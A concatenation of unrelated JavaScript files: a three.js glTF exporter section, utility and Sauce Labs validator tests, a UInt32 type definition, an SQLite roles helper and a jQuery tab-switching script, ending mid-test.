if ( material !== null ) primitive.material = material;
primitives.push( primitive );
}
meshDef.primitives = primitives;
if ( ! json.meshes ) json.meshes = [];
this._invokeAll( function ( ext ) {
ext.writeMesh && ext.writeMesh( mesh, meshDef );
} );
const index = json.meshes.push( meshDef ) - 1;
cache.meshes.set( meshCacheKey, index );
return index;
}
/**
* Process camera
* @param {THREE.Camera} camera Camera to process
* @return {Integer} Index of the processed mesh in the "camera" array
*/
processCamera( camera ) {
const json = this.json;
if ( ! json.cameras ) json.cameras = [];
const isOrtho = camera.isOrthographicCamera;
const cameraDef = {
type: isOrtho ? 'orthographic' : 'perspective'
};
if ( isOrtho ) {
cameraDef.orthographic = {
xmag: camera.right * 2,
ymag: camera.top * 2,
zfar: camera.far <= 0 ? 0.001 : camera.far,
znear: camera.near < 0 ? 0 : camera.near
};
} else {
cameraDef.perspective = {
aspectRatio: camera.aspect,
yfov: THREE.MathUtils.degToRad( camera.fov ),
zfar: camera.far <= 0 ? 0.001 : camera.far,
znear: camera.near < 0 ? 0 : camera.near
};
} // Question: Is saving "type" as name intentional?
if ( camera.name !== '' ) cameraDef.name = camera.type;
return json.cameras.push( cameraDef ) - 1;
}
/**
* Creates glTF animation entry from AnimationClip object.
*
* Status:
* - Only properties listed in PATH_PROPERTIES may be animated.
*
* @param {THREE.AnimationClip} clip
* @param {THREE.Object3D} root
* @return {number|null}
*/
processAnimation( clip, root ) {
const json = this.json;
const nodeMap = this.nodeMap;
if ( ! json.animations ) json.animations = [];
clip = GLTFExporter.Utils.mergeMorphTargetTracks( clip.clone(), root );
const tracks = clip.tracks;
const channels = [];
const samplers = [];
for ( let i = 0; i < tracks.length; ++ i ) {
const track = tracks[ i ];
const trackBinding = THREE.PropertyBinding.parseTrackName( track.name );
let trackNode = THREE.PropertyBinding.findNode( root, trackBinding.nodeName );
const trackProperty = PATH_PROPERTIES[ trackBinding.propertyName ];
if ( trackBinding.objectName === 'bones' ) {
if ( trackNode.isSkinnedMesh === true ) {
trackNode = trackNode.skeleton.getBoneByName( trackBinding.objectIndex );
} else {
trackNode = undefined;
}
}
if ( ! trackNode || ! trackProperty ) {
console.warn( 'THREE.GLTFExporter: Could not export animation track "%s".', track.name );
return null;
}
const inputItemSize = 1;
let outputItemSize = track.values.length / track.times.length;
if ( trackProperty === PATH_PROPERTIES.morphTargetInfluences ) {
outputItemSize /= trackNode.morphTargetInfluences.length;
}
let interpolation; // @TODO export CubicInterpolant(InterpolateSmooth) as CUBICSPLINE
// Detecting glTF cubic spline interpolant by checking factory method's special property
// GLTFCubicSplineInterpolant is a custom interpolant and track doesn't return
// valid value from .getInterpolation().
if ( track.createInterpolant.isInterpolantFactoryMethodGLTFCubicSpline === true ) {
interpolation = 'CUBICSPLINE'; // itemSize of CUBICSPLINE keyframe is 9
// (VEC3 * 3: inTangent, splineVertex, and outTangent)
// but needs to be stored as VEC3 so dividing by 3 here.
outputItemSize /= 3;
} else if ( track.getInterpolation() === THREE.InterpolateDiscrete ) {
interpolation = 'STEP';
} else {
interpolation = 'LINEAR';
}
samplers.push( {
input: this.processAccessor( new THREE.BufferAttribute( track.times, inputItemSize ) ),
output: this.processAccessor( new THREE.BufferAttribute( track.values, outputItemSize ) ),
interpolation: interpolation
} );
channels.push( {
sampler: samplers.length - 1,
target: {
node: nodeMap.get( trackNode ),
path: trackProperty
}
} );
}
json.animations.push( {
name: clip.name || 'clip_' + json.animations.length,
samplers: samplers,
channels: channels
} );
return json.animations.length - 1;
}
/**
* @param {THREE.Object3D} object
* @return {number|null}
*/
processSkin( object ) {
const json = this.json;
const nodeMap = this.nodeMap;
const node = json.nodes[ nodeMap.get( object ) ];
const skeleton = object.skeleton;
if ( skeleton === undefined ) return null;
const rootJoint = object.skeleton.bones[ 0 ];
if ( rootJoint === undefined ) return null;
const joints = [];
const inverseBindMatrices = new Float32Array( skeleton.bones.length * 16 );
const temporaryBoneInverse = new THREE.Matrix4();
for ( let i = 0; i < skeleton.bones.length; ++ i ) {
joints.push( nodeMap.get( skeleton.bones[ i ] ) );
temporaryBoneInverse.copy( skeleton.boneInverses[ i ] );
temporaryBoneInverse.multiply( object.bindMatrix ).toArray( inverseBindMatrices, i * 16 );
}
if ( json.skins === undefined ) json.skins = [];
json.skins.push( {
inverseBindMatrices: this.processAccessor( new THREE.BufferAttribute( inverseBindMatrices, 16 ) ),
joints: joints,
skeleton: nodeMap.get( rootJoint )
} );
const skinIndex = node.skin = json.skins.length - 1;
return skinIndex;
}
/**
* Process Object3D node
* @param {THREE.Object3D} node Object3D to processNode
* @return {Integer} Index of the node in the nodes list
*/
processNode( object ) {
const json = this.json;
const options = this.options;
const nodeMap = this.nodeMap;
if ( ! json.nodes ) json.nodes = [];
const nodeDef = {};
if ( options.trs ) {
const rotation = object.quaternion.toArray();
const position = object.position.toArray();
const scale = object.scale.toArray();
if ( ! equalArray( rotation, [ 0, 0, 0, 1 ] ) ) {
nodeDef.rotation = rotation;
}
if ( ! equalArray( position, [ 0, 0, 0 ] ) ) {
nodeDef.translation = position;
}
if ( ! equalArray( scale, [ 1, 1, 1 ] ) ) {
nodeDef.scale = scale;
}
} else {
if ( object.matrixAutoUpdate ) {
object.updateMatrix();
}
if ( isIdentityMatrix( object.matrix ) === false ) {
nodeDef.matrix = object.matrix.elements;
}
} // We don't export empty strings name because it represents no-name in Three.js.
if ( object.name !== '' ) nodeDef.name = String( object.name );
this.serializeUserData( object, nodeDef );
if ( object.isMesh || object.isLine || object.isPoints ) {
const meshIndex = this.processMesh( object );
if ( meshIndex !== null ) nodeDef.mesh = meshIndex;
} else if ( object.isCamera ) {
nodeDef.camera = this.processCamera( object );
}
if ( object.isSkinnedMesh ) this.skins.push( object );
if ( object.children.length > 0 ) {
const children = [];
for ( let i = 0, l = object.children.length; i < l; i ++ ) {
const child = object.children[ i ];
if ( child.visible || options.onlyVisible === false ) {
const nodeIndex = this.processNode( child );
if ( nodeIndex !== null ) children.push( nodeIndex );
}
}
if ( children.length > 0 ) nodeDef.children = children;
}
this._invokeAll( function ( ext ) {
ext.writeNode && ext.writeNode( object, nodeDef );
} );
const nodeIndex = json.nodes.push( nodeDef ) - 1;
nodeMap.set( object, nodeIndex );
return nodeIndex;
}
/**
* Process THREE.Scene
* @param {Scene} node THREE.Scene to process
*/
processScene( scene ) {
const json = this.json;
const options = this.options;
if ( ! json.scenes ) {
json.scenes = [];
json.scene = 0;
}
const sceneDef = {};
if ( scene.name !== '' ) sceneDef.name = scene.name;
json.scenes.push( sceneDef );
const nodes = [];
for ( let i = 0, l = scene.children.length; i < l; i ++ ) {
const child = scene.children[ i ];
if ( child.visible || options.onlyVisible === false ) {
const nodeIndex = this.processNode( child );
if ( nodeIndex !== null ) nodes.push( nodeIndex );
}
}
if ( nodes.length > 0 ) sceneDef.nodes = nodes;
this.serializeUserData( scene, sceneDef );
}
/**
* Creates a THREE.Scene to hold a list of objects and parse it
* @param {Array} objects List of objects to process
*/
processObjects( objects ) {
const scene = new THREE.Scene();
scene.name = 'AuxScene';
for ( let i = 0; i < objects.length; i ++ ) {
// We push directly to children instead of calling `add` to prevent
// modify the .parent and break its original scene and hierarchy
scene.children.push( objects[ i ] );
}
this.processScene( scene );
}
/**
* @param {THREE.Object3D|Array<THREE.Object3D>} input
*/
processInput( input ) {
const options = this.options;
input = input instanceof Array ? input : [ input ];
this._invokeAll( function ( ext ) {
ext.beforeParse && ext.beforeParse( input );
} );
const objectsWithoutScene = [];
for ( let i = 0; i < input.length; i ++ ) {
if ( input[ i ] instanceof THREE.Scene ) {
this.processScene( input[ i ] );
} else {
objectsWithoutScene.push( input[ i ] );
}
}
if ( objectsWithoutScene.length > 0 ) this.processObjects( objectsWithoutScene );
for ( let i = 0; i < this.skins.length; ++ i ) {
this.processSkin( this.skins[ i ] );
}
for ( let i = 0; i < options.animations.length; ++ i ) {
this.processAnimation( options.animations[ i ], input[ 0 ] );
}
this._invokeAll( function ( ext ) {
ext.afterParse && ext.afterParse( input );
} );
}
_invokeAll( func ) {
for ( let i = 0, il = this.plugins.length; i < il; i ++ ) {
func( this.plugins[ i ] );
}
}
}
/**
* Punctual Lights Extension
*
* Specification: https://github.com/KhronosGroup/glTF/tree/master/extensions/2.0/Khronos/KHR_lights_punctual
*/
class GLTFLightExtension {
constructor( writer ) {
this.writer = writer;
this.name = 'KHR_lights_punctual';
}
writeNode( light, nodeDef ) {
if ( ! light.isLight ) return;
if ( ! light.isDirectionalLight && ! light.isPointLight && ! light.isSpotLight ) {
console.warn( 'THREE.GLTFExporter: Only directional, point, and spot lights are supported.', light );
return;
}
const writer = this.writer;
const json = writer.json;
const extensionsUsed = writer.extensionsUsed;
const lightDef = {};
if ( light.name ) lightDef.name = light.name;
lightDef.color = light.color.toArray();
lightDef.intensity = light.intensity;
if ( light.isDirectionalLight ) {
lightDef.type = 'directional';
} else if ( light.isPointLight ) {
lightDef.type = 'point';
if ( light.distance > 0 ) lightDef.range = light.distance;
} else if ( light.isSpotLight ) {
lightDef.type = 'spot';
if ( light.distance > 0 ) lightDef.range = light.distance;
lightDef.spot = {};
lightDef.spot.innerConeAngle = ( light.penumbra - 1.0 ) * light.angle * - 1.0;
lightDef.spot.outerConeAngle = light.angle;
}
if ( light.decay !== undefined && light.decay !== 2 ) {
console.warn( 'THREE.GLTFExporter: Light decay may be lost. glTF is physically-based, ' + 'and expects light.decay=2.' );
}
if ( light.target && ( light.target.parent !== light || light.target.position.x !== 0 || light.target.position.y !== 0 || light.target.position.z !== - 1 ) ) {
console.warn( 'THREE.GLTFExporter: Light direction may be lost. For best results, ' + 'make light.target a child of the light with position 0,0,-1.' );
}
if ( ! extensionsUsed[ this.name ] ) {
json.extensions = json.extensions || {};
json.extensions[ this.name ] = {
lights: []
};
extensionsUsed[ this.name ] = true;
}
const lights = json.extensions[ this.name ].lights;
lights.push( lightDef );
nodeDef.extensions = nodeDef.extensions || {};
nodeDef.extensions[ this.name ] = {
light: lights.length - 1
};
}
}
/**
* Unlit Materials Extension
*
* Specification: https://github.com/KhronosGroup/glTF/tree/master/extensions/2.0/Khronos/KHR_materials_unlit
*/
class GLTFMaterialsUnlitExtension {
constructor( writer ) {
this.writer = writer;
this.name = 'KHR_materials_unlit';
}
writeMaterial( material, materialDef ) {
if ( ! material.isMeshBasicMaterial ) return;
const writer = this.writer;
const extensionsUsed = writer.extensionsUsed;
materialDef.extensions = materialDef.extensions || {};
materialDef.extensions[ this.name ] = {};
extensionsUsed[ this.name ] = true;
materialDef.pbrMetallicRoughness.metallicFactor = 0.0;
materialDef.pbrMetallicRoughness.roughnessFactor = 0.9;
}
}
/**
* Specular-Glossiness Extension
*
* Specification: https://github.com/KhronosGroup/glTF/tree/master/extensions/2.0/Khronos/KHR_materials_pbrSpecularGlossiness
*/
class GLTFMaterialsPBRSpecularGlossiness {
constructor( writer ) {
this.writer = writer;
this.name = 'KHR_materials_pbrSpecularGlossiness';
}
writeMaterial( material, materialDef ) {
if ( ! material.isGLTFSpecularGlossinessMaterial ) return;
const writer = this.writer;
const extensionsUsed = writer.extensionsUsed;
const extensionDef = {};
if ( materialDef.pbrMetallicRoughness.baseColorFactor ) {
extensionDef.diffuseFactor = materialDef.pbrMetallicRoughness.baseColorFactor;
}
const specularFactor = [ 1, 1, 1 ];
material.specular.toArray( specularFactor, 0 );
extensionDef.specularFactor = specularFactor;
extensionDef.glossinessFactor = material.glossiness;
if ( materialDef.pbrMetallicRoughness.baseColorTexture ) {
extensionDef.diffuseTexture = materialDef.pbrMetallicRoughness.baseColorTexture;
}
if ( material.specularMap ) {
const specularMapDef = {
index: writer.processTexture( material.specularMap )
};
writer.applyTextureTransform( specularMapDef, material.specularMap );
extensionDef.specularGlossinessTexture = specularMapDef;
}
materialDef.extensions = materialDef.extensions || {};
materialDef.extensions[ this.name ] = extensionDef;
extensionsUsed[ this.name ] = true;
}
}
/**
* Transmission Materials Extension
*
* Specification: https://github.com/KhronosGroup/glTF/tree/master/extensions/2.0/Khronos/KHR_materials_transmission
*/
class GLTFMaterialsTransmissionExtension {
constructor( writer ) {
this.writer = writer;
this.name = 'KHR_materials_transmission';
}
writeMaterial( material, materialDef ) {
if ( ! material.isMeshPhysicalMaterial || material.transmission === 0 ) return;
const writer = this.writer;
const extensionsUsed = writer.extensionsUsed;
const extensionDef = {};
extensionDef.transmissionFactor = material.transmission;
if ( material.transmissionMap ) {
const transmissionMapDef = {
index: writer.processTexture( material.transmissionMap )
};
writer.applyTextureTransform( transmissionMapDef, material.transmissionMap );
extensionDef.transmissionTexture = transmissionMapDef;
}
materialDef.extensions = materialDef.extensions || {};
materialDef.extensions[ this.name ] = extensionDef;
extensionsUsed[ this.name ] = true;
}
}
/**
* Materials Volume Extension
*
* Specification: https://github.com/KhronosGroup/glTF/tree/master/extensions/2.0/Khronos/KHR_materials_volume
*/
class GLTFMaterialsVolumeExtension {
constructor( writer ) {
this.writer = writer;
this.name = 'KHR_materials_volume';
}
writeMaterial( material, materialDef ) {
if ( ! material.isMeshPhysicalMaterial || material.thickness === 0 ) return;
const writer = this.writer;
const extensionsUsed = writer.extensionsUsed;
const extensionDef = {};
extensionDef.thicknessFactor = material.thickness;
if ( material.thicknessMap ) {
const thicknessMapDef = {
index: writer.processTexture( material.thicknessMap )
};
writer.applyTextureTransform( thicknessMapDef, material.thicknessMap );
extensionDef.thicknessTexture = thicknessMapDef;
}
extensionDef.attenuationDistance = material.attenuationDistance;
extensionDef.attenuationColor = material.attenuationTint.toArray();
materialDef.extensions = materialDef.extensions || {};
materialDef.extensions[ this.name ] = extensionDef;
extensionsUsed[ this.name ] = true;
}
}
/**
* Static utility functions
*/
GLTFExporter.Utils = {
insertKeyframe: function ( track, time ) {
const tolerance = 0.001; // 1ms
const valueSize = track.getValueSize();
const times = new track.TimeBufferType( track.times.length + 1 );
const values = new track.ValueBufferType( track.values.length + valueSize );
const interpolant = track.createInterpolant( new track.ValueBufferType( valueSize ) );
let index;
if ( track.times.length === 0 ) {
times[ 0 ] = time;
for ( let i = 0; i < valueSize; i ++ ) {
values[ i ] = 0;
}
index = 0;
} else if ( time < track.times[ 0 ] ) {
if ( Math.abs( track.times[ 0 ] - time ) < tolerance ) return 0;
times[ 0 ] = time;
times.set( track.times, 1 );
values.set( interpolant.evaluate( time ), 0 );
values.set( track.values, valueSize );
index = 0;
} else if ( time > track.times[ track.times.length - 1 ] ) {
if ( Math.abs( track.times[ track.times.length - 1 ] - time ) < tolerance ) {
return track.times.length - 1;
}
times[ times.length - 1 ] = time;
times.set( track.times, 0 );
values.set( track.values, 0 );
values.set( interpolant.evaluate( time ), track.values.length );
index = times.length - 1;
} else {
for ( let i = 0; i < track.times.length; i ++ ) {
if ( Math.abs( track.times[ i ] - time ) < tolerance ) return i;
if ( track.times[ i ] < time && track.times[ i + 1 ] > time ) {
times.set( track.times.slice( 0, i + 1 ), 0 );
times[ i + 1 ] = time;
times.set( track.times.slice( i + 1 ), i + 2 );
values.set( track.values.slice( 0, ( i + 1 ) * valueSize ), 0 );
values.set( interpolant.evaluate( time ), ( i + 1 ) * valueSize );
values.set( track.values.slice( ( i + 1 ) * valueSize ), ( i + 2 ) * valueSize );
index = i + 1;
break;
}
}
}
track.times = times;
track.values = values;
return index;
},
mergeMorphTargetTracks: function ( clip, root ) {
const tracks = [];
const mergedTracks = {};
const sourceTracks = clip.tracks;
for ( let i = 0; i < sourceTracks.length; ++ i ) {
let sourceTrack = sourceTracks[ i ];
const sourceTrackBinding = THREE.PropertyBinding.parseTrackName( sourceTrack.name );
const sourceTrackNode = THREE.PropertyBinding.findNode( root, sourceTrackBinding.nodeName );
if ( sourceTrackBinding.propertyName !== 'morphTargetInfluences' || sourceTrackBinding.propertyIndex === undefined ) {
// Tracks that don't affect morph targets, or that affect all morph targets together, can be left as-is.
tracks.push( sourceTrack );
continue;
}
if ( sourceTrack.createInterpolant !== sourceTrack.InterpolantFactoryMethodDiscrete && sourceTrack.createInterpolant !== sourceTrack.InterpolantFactoryMethodLinear ) {
if ( sourceTrack.createInterpolant.isInterpolantFactoryMethodGLTFCubicSpline ) {
// This should never happen, because glTF morph target animations
// affect all targets already.
throw new Error( 'THREE.GLTFExporter: Cannot merge tracks with glTF CUBICSPLINE interpolation.' );
}
console.warn( 'THREE.GLTFExporter: Morph target interpolation mode not yet supported. Using LINEAR instead.' );
sourceTrack = sourceTrack.clone();
sourceTrack.setInterpolation( THREE.InterpolateLinear );
}
const targetCount = sourceTrackNode.morphTargetInfluences.length;
const targetIndex = sourceTrackNode.morphTargetDictionary[ sourceTrackBinding.propertyIndex ];
if ( targetIndex === undefined ) {
throw new Error( 'THREE.GLTFExporter: Morph target name not found: ' + sourceTrackBinding.propertyIndex );
}
let mergedTrack; // If this is the first time we've seen this object, create a new
// track to store merged keyframe data for each morph target.
if ( mergedTracks[ sourceTrackNode.uuid ] === undefined ) {
mergedTrack = sourceTrack.clone();
const values = new mergedTrack.ValueBufferType( targetCount * mergedTrack.times.length );
for ( let j = 0; j < mergedTrack.times.length; j ++ ) {
values[ j * targetCount + targetIndex ] = mergedTrack.values[ j ];
} // We need to take into consideration the intended target node
// of our original un-merged morphTarget animation.
mergedTrack.name = ( sourceTrackBinding.nodeName || '' ) + '.morphTargetInfluences';
mergedTrack.values = values;
mergedTracks[ sourceTrackNode.uuid ] = mergedTrack;
tracks.push( mergedTrack );
continue;
}
const sourceInterpolant = sourceTrack.createInterpolant( new sourceTrack.ValueBufferType( 1 ) );
mergedTrack = mergedTracks[ sourceTrackNode.uuid ]; // For every existing keyframe of the merged track, write a (possibly
// interpolated) value from the source track.
for ( let j = 0; j < mergedTrack.times.length; j ++ ) {
mergedTrack.values[ j * targetCount + targetIndex ] = sourceInterpolant.evaluate( mergedTrack.times[ j ] );
} // For every existing keyframe of the source track, write a (possibly
// new) keyframe to the merged track. Values from the previous loop may
// be written again, but keyframes are de-duplicated.
for ( let j = 0; j < sourceTrack.times.length; j ++ ) {
const keyframeIndex = this.insertKeyframe( mergedTrack, sourceTrack.times[ j ] );
mergedTrack.values[ keyframeIndex * targetCount + targetIndex ] = sourceTrack.values[ j ];
}
}
clip.tracks = tracks;
return clip;
}
};
THREE.GLTFExporter = GLTFExporter;
} )();
|
/*
* Copyright (c) 2014-2020 Bjoern Kimminich.
* SPDX-License-Identifier: MIT
*/
const chai = require('chai')
const expect = chai.expect
describe('utils', () => {
const utils = require('../../lib/utils')
describe('toSimpleIpAddress', () => {
it('returns ipv6 address unchanged', () => {
expect(utils.toSimpleIpAddress('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).to.equal('2001:0db8:85a3:0000:0000:8a2e:0370:7334')
})
it('returns ipv4 address fully specified as ipv6 unchanged', () => {
expect(utils.toSimpleIpAddress('0:0:0:0:0:ffff:7f00:1')).to.equal('0:0:0:0:0:ffff:7f00:1')
})
it('returns ipv6 loopback address as ipv4 address', () => {
expect(utils.toSimpleIpAddress('::1')).to.equal('127.0.0.1')
})
it('returns ipv4-mapped address as ipv4 address', () => {
expect(utils.toSimpleIpAddress('::ffff:192.0.2.128')).to.equal('192.0.2.128')
})
})
describe('extractFilename', () => {
it('returns standalone filename unchanged', () => {
expect(utils.extractFilename('test.exe')).to.equal('test.exe')
})
it('returns filename from http:// URL', () => {
expect(utils.extractFilename('http://bla.blubb/test.exe')).to.equal('test.exe')
})
it('ignores query part of http:// URL', () => {
expect(utils.extractFilename('http://bla.blubb/test.exe?bla=blubb&a=b')).to.equal('test.exe')
})
it('also works for file:// URLs', () => {
expect(utils.extractFilename('file:///C//Bla/Blubb/test.exe')).to.equal('test.exe')
})
})
})
|
/**
* Definition of an UInt32, an unsigned 32 bit integer
* range: 0 to 4294967295
* uses BitBuffer functions for write/read
*/
import compareInts from './compare/compareIntegers.js';
var UInt32 = {
'min': 0,
'max': 4294967295,
'bits': 32,
'compare': compareInts,
'write': 'writeUInt32',
'read': 'readUInt32'
}
UInt32.boundsCheck = function(value) {
return value >= UInt32.min && value <= UInt32.max
}
export default UInt32;
|
const DBUtils = require('./DBUtils');
class DBRoles {
constructor() {
this.dbUtils = new DBUtils();
this.getRoles = (res) => {
try {
let db = this.dbUtils.getDb();
const get = db.prepare("SELECT * FROM roles");
const results = get.all();
res.send({ roles: results });
} catch (err) {
console.error(err);
res.send(err);
}
};
this.init = (res) => {
try {
let db = this.dbUtils.getDb();
const create = db.prepare("CREATE TABLE IF NOT EXISTS roles (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT)");
create.run();
const roles = [
{ name: "ADMIN" },
{ name: "USER" }
];
const insert = db.prepare("INSERT INTO roles (name) VALUES (?)");
roles.forEach(role => {
insert.run(role.name);
});
res.send("Initialized role table");
} catch (err) {
console.error(err);
res.send(err);
};
}
this.drop = (res) => {
try {
let db = this.dbUtils.getDb();
const drop = db.prepare("DROP TABLE roles");
drop.run();
res.send("Dropped table roles");
} catch (err) {
console.error(err);
res.send(err);
}
}
}
}
module.exports = DBRoles;
|
var guanwang = {};
guanwang.index = {};
guanwang.index.smallboss = {
changeLabel: function(){
$(".aleTab>li:eq(1)").addClass("on");
$(".aleTab>li:eq(0)").removeClass("on");
$(".aleCon>.tab").hide();
$(".aleCon>.tab").eq($(".aleTab>li:eq(1)").index()).show();
}
}
// JavaScript Document
$(function(){
$('.guanwang_index_smallboss_free').click(function(){
$(".aleTab>li").removeClass("on");
$(".aleTab>li:eq(1)").addClass("on");
$(".aleCon>.tab").hide();
$(".aleCon>.tab").eq($(".aleTab>li:eq(1)").index()).show();
});
$('#guanwang-index-smallboss-login').click(function(){
$(".aleTab>li").removeClass("on");
$(".aleTab>li:eq(0)").addClass("on");
$(".aleCon>.tab").hide();
$(".aleCon>.tab").eq($(".aleTab>li:eq(0)").index()).show();
});
$('.guanwang_index_forgetpass').click(function(){
$(".aleTab>li").removeClass("on");
if($(this).hasClass('clickAlert') || $(".aleTab>li:eq(2)").css('display') != 'none'){
$(".aleTab>li:eq(2)").show();
$(".aleTab>li:eq(2)").addClass("on");
}
$(".aleCon>.tab").hide();
$(".aleCon>.tab").eq($(".aleTab>li:eq(2)").index()).show();
});
/*CSS*/
$(".nav a:last").css("padding","0").css("marginLeft","15px").css("background","none").css("border","none");
$(".inforTab li a:last").css("marginRight","0");
$(".infor dl:eq(2)").css("background","none");
$(".infor dl:eq(5)").css("background","none");
$(".infor dl:eq(8)").css("background","none");
$(".nav a:last,.submit,.reg-submit").css("opacity","0.9");
$(".nav a:last,.submit,.reg-submit").hover(function(){
$(this).css("opacity","1");
},function(){
$(this).css("opacity","0.9");
})
/*Tab*/
tab(".inforTab>li",".inforCon>.tab");
tab(".aleTab>li",".aleCon>.tab");
tab(".helpTab>li",".helpCon>.tab");
tab(".helpTT1-tab>li",".helpTT1-con>.tab");
tab(".helpTT2-tab>li",".helpTT2-con>.tab");
tab(".helpTT3-tab>li",".helpTT3-con>.tab");
tab(".helpTT4-tab>li",".helpTT4-con>.tab");
tab(".helpTT5-tab>li",".helpTT5-con>.tab");
tab(".helpTT6-tab>li",".helpTT6-con>.tab");
tab(".helpTT7-tab>li",".helpTT7-con>.tab");
tab(".helpTT8-tab>li",".helpTT8-con>.tab");
tab(".helpTT9-tab>li",".helpTT9-con>.tab");
tab(".helpTT10-tab>li",".helpTT10-con>.tab");
function tab(oTab,oNeirong){
$(oTab).click(function(){
$(this).addClass("on");
$(this).siblings().removeClass("on");
$(oNeirong).hide();
$(oNeirong).eq($(this).index()).show();
})
}
/*产品与服务点击切换*/
$(".proSerTab>li").click(function(){
$(this).addClass("on");
$(this).siblings().removeClass("on");
$(".proSerCon>.tab").hide();
$(".proSerCon>.tab").eq($(this).index()).show();
})
/*合作切换*/
var area = $("ul.scrolline");
var timespan = 3000;
var timeID;
area.hover(function(){
clearInterval(timeID);
},function(){
timeID = setInterval(function(){
var moveline = area.find("li:first");
var linewidth = moveline.width();
moveline.animate({marginLeft:-linewidth+"px"},500,function(){
moveline.css("marginLeft",0).appendTo(area);
});
},timespan)
}).trigger("mouseleave");
/*alert*/
alertContent(".clickAlert",".alertDiv",".alertClose");
alertContent(".clickAlert1",".alertDiv1",".alertClose1");
function alertContent(LeanA,LeanB,LeanC){
$(LeanB).hide();
$(LeanA).click(function(){
$(LeanB).fadeIn(200);
})
$(LeanC).click(function(){
$(LeanB).fadeOut(200);
$(".xy").hide();
})
}
$(".alert_hideDiv").click(function(){
$(".xy").show();
$(".reg-submit").hide();
$(".reg_b").show();
})
$(".reg_b").click(function(){
$(this).hide();
$(".xy").hide();
$(".reg-submit").show();
})
/*input 失去获取焦点*/
inputFB(".ueername");
inputFB(".password");
inputFB(".ueername");
inputFB(".ueername");
function inputFB(inputClass){
$(inputClass).focus(function(){
if($(this).val() == this.defaultValue){
$(this).val("");
}
})
$(inputClass).blur(function(){
if($(this).val() == ""){
$(this).val(this.defaultValue);
}
})
}
/*hideMenu*/
$(".nav").hover(function(){
$(".hideDiv").show();
});
$(".hideDiv").mouseleave(function(){
$(".hideDiv").hide();
});
})
|
export const bottomTags = [{
id: '5768ed19406be01000c69077',
name: '人權',
},
{
id: '5783582ec380321000c0fbeb',
name: '司法',
},
]
|
'use strict';
var
chai = require('chai'),
chaiAsPromised = require('chai-as-promised'),
Values = require('./../../../../../lib/platforms/saucelabs/values').Values
chai.use(chaiAsPromised)
var
expect = chai.expect,
should = chai.should()
describe('Values', function() {
describe('js', function() {
this.timeout(0)
it('should fail if all required browser keys are not provided', function() {
expect(()=>{Values.js({ }, { })}).to.throw('required option browser missing')
})
it('should fail if an unknown browser key is provided', function() {
expect(()=>{Values.js({ os: 1, osVersion: 2, browser: 3, browserVersion: 4, abc: 123 }, { })}).to.throw('option abc is not allowed')
})
it('should fail if an unknown capabilities key is provided', function() {
expect(()=>{Values.js({ os: 1, osVersion: 2, browser: 3, browserVersion: 4 }, { abc: 123 })}).to.throw('option abc is not allowed')
})
it('should fail if an unknown os is provided', function() {
expect(()=>{Values.js({ os: 1, osVersion: 2, browser: 3, browserVersion: 4 }, { })}).to.throw('invalid os "1"')
})
it('should fail if an unknown os version is provided', function() {
expect(()=>{Values.js({ os: "Windows", osVersion: 2, browser: 3, browserVersion: 4 }, { })}).to.throw('invalid osVersion "2" for os "Windows"')
})
it('should fail if an unknown browser is provided', function() {
expect(()=>{Values.js({ os: "Windows", osVersion: "10", browser: 3, browserVersion: 4 }, { })}).to.throw('invalid browser "3" for osVersion "10" for os "Windows"')
})
it('should fail if an unknown browser version is provided', function() {
expect(()=>{Values.js({ os: "Windows", osVersion: "10", browser: "Chrome", browserVersion: 4 }, { })}).to.throw('invalid version "4" for browser "Chrome" for osVersion "10" for os "Windows"')
})
it('should fail if an unknown device is provided', function() {
expect(()=>{Values.js({ os: "iOS", osVersion: "8.1", browser: "Mobile Safari", browserVersion: null, device: "abc" }, { })}).to.throw('invalid device "abc" for version "null" for browser "Mobile Safari" for osVersion "8.1" for os "iOS"')
})
it('should be able to handle null os version', function() {
expect(()=>{Values.js({os: "Linux", osVersion: null, browser: "Chrome", browserVersion: "10.0"}, {})}).to.throw('invalid version "10.0" for browser "Chrome" for osVersion "null" for os "Linux"')
})
it('should populate defaults if corresponding keys are not provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { })
expect(ret.capabilities.maxDuration).to.equal(60)
})
it('should use input values of keys for which defaults exist', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { timeout: 120 })
expect(ret.capabilities.maxDuration).to.equal(120)
})
it('should remove "build" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { build: 120 })
expect(ret.capabilities.build).to.be.undefined
})
it('should retain "build" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { build: "abc" })
expect(ret.capabilities.build).to.equal('abc')
})
it('should remove "test" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { test: 120 })
expect(ret.capabilities.name).to.be.undefined
})
it('should retain "test" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { test: "abc" })
expect(ret.capabilities.name).to.equal('abc')
})
it('should remove "customData" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { customData: 120 })
expect(ret.capabilities.customData).to.be.undefined
})
it('should retain "customData" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { customData: { key: 'value' } })
expect(ret.capabilities.customData).to.deep.equal({key: 'value'})
})
it('should remove "tags" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { tags: 120 })
expect(ret.capabilities.tags).to.be.undefined
})
it('should retain "tags" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { tags: [ 1, 2 ] })
expect(ret.capabilities.tags).to.deep.equal([ 1, 2 ])
})
it('should remove "prerun" capability if it has an unsupported value', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Firefox", browserVersion: "39.0" }, { prerun: 120 })
expect(ret.capabilities.prerun).to.be.undefined
})
it('should retain "prerun" capability if a supported value is provided', function() {
let ret = Values.js({ os: "Windows", osVersion: "8.1", browser: "Chrome", browserVersion: "39.0" }, { prerun: { key: 'value' } })
